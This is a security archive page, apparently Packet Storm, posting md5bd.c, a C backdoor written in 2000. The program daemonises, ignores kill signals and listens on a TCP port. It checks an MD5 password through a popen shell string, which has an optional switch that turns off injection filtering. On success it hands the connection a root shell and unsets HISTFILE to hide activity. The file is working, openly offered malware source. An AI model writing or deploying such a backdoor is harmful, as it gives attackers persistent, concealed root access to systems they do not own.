never stop questioning

md5bd.c

md5bd.c
Posted Jul 15, 2000
Authored by Mixter | Site 1337.tsx.org

md5bd.c is a shell server/backdoor that uses a md5 encrypted password to authenticate, therefore the password cannot be retrieved from the server.

tags | shell
MD5 | 2fa9b94368cf2d9b511d009aece38bce

md5bd.c

Change Mirror Download
/*
md5bd.c - backdoor/shell server with md5 based authentication
(c) 2000 by Mixter <mixter@newyorkoffice.com> http://1337.tsx.org

This is a small server program that can be put on an untrusted host,
without the danger of the hard-coded password being retrieved. Another
big advantage of using md5 is that your password can be effectively as
long as you want... I'm using md5sum since every system should have it,
and since it's a stupid program and not worth of putting in md5 functions.

To hash your password to md5, just: echo -n mypasswd | md5sum (duh!)
Usage: ./md5bd, then ./nc host port, then enter your password
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>

/* change this to 1337 if you want it to be *really* stealthy ;/ */
#define P0RT 1025

/* the default pass, "secret" */
#define MDPASS "5ebe2294ecd0e0f08eab7690d2a6ee69"

/* the stupidity of perl, realized in C... */
#define MDPROG "/bin/echo -n %s|/usr/bin/md5sum"

char md[36];

char *
mdpass(char *plain)
{
FILE *p;
char fmt[1024];

snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain);
p = popen(fmt, "r");
memset(md, 0, 36);
fread(md, 32, 1, p);
fclose(p);
return md;
}

int
main(int a, char **b)
{
int c, d, e = sizeof(struct sockaddr_in), f;
char p[1000];
struct sockaddr_in l, r;

signal(SIGCHLD, SIG_IGN);
signal(SIGHUP, SIG_IGN);
signal(SIGTERM, SIG_IGN);
signal(SIGINT, SIG_IGN);
if (fork())
exit(0);
l.sin_family = AF_INET;
l.sin_port = htons(P0RT);
l.sin_addr.s_addr = INADDR_ANY;
bzero(&(l.sin_zero), 8);
c = socket(AF_INET, SOCK_STREAM, 0);
bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));

listen(c, 3);
while ((d = accept(c, (struct sockaddr *) &r, &e)))
{
if (!fork())
{
recv(d, p, 1000, 0);
#ifndef REMOTELY_EXPLOITABLE
for (f = 0; f < strlen(p); f++)
switch (p[f])
{
case '|':
case ';':
case '&':
case '>':
case '`':
case '\r':
case '\n':
p[f] = '\0';
break;
}
#endif /* REMOTELY_EXPLOITABLE :P */
if (strncmp(mdpass(p), MDPASS,32) != 0)
{
send(d, "\377\373\001", 4, 0);
close(d);
exit(1);
}
printf ("hi.\n");
close(0);
close(1);
close(2);
dup2(d, 0);
dup2(d, 1);
dup2(d, 2);
setreuid(0, 0);
setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
unsetenv("HISTFILE");
execl("/bin/sh", "sh", (char *) 0);
close(d);
exit(0);
}
}
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close